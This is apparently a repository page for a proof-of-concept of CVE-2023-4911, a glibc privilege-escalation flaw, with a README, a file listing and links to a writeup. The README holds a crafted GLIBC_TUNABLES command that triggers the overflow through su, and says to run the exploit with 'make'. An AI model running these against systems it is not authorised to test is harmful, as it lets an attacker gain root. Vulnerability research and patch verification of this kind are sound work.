CVE-2023-4911 PoC — glibc 缓冲区错误漏洞

Source

Associated Vulnerability

Description

CVE-2023-4911

Readme

# CVE-2023-4911
This is a PoC (Proof Of Concept) for the Looney Tunables Linux Privilege Escalation vulnerability. This is based on [this PoC](https://github.com/leesh3288/CVE-2023-4911). Great thanks to `leesh3288`. [Here](https://seclists.org/oss-sec/2023/q4/18) you can find a very detailed writeup, and [here](https://youtu.be/1iV-CD9Apn8) you can see a very cool video by IppSec.

## Usage
Check if it's vulnerable
```bash
env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=`printf '%08192x' 1`" /usr/bin/su --help
```
![](vuln.png)

It is worth saying that vulnerable `glibc` versions are, including this one, from `2.35-0ubuntu3.3` and below.

![](version.png)

Run the exploit
```bash
$ make
```
![](poc.png)

File Snapshot

 [4.0K]  /data/pocs/d7eb35c1dda51348763743a7f163f9d9c75171a1
├── [3.7K]  exp.c
├── [ 390]  gen_libc.py
├── [ 179]  Makefile
├── [ 37K]  poc.png
├── [ 735]  README.md
├── [ 18K]  version.png
└── [ 10K]  vuln.png

0 directories, 7 files

Remarks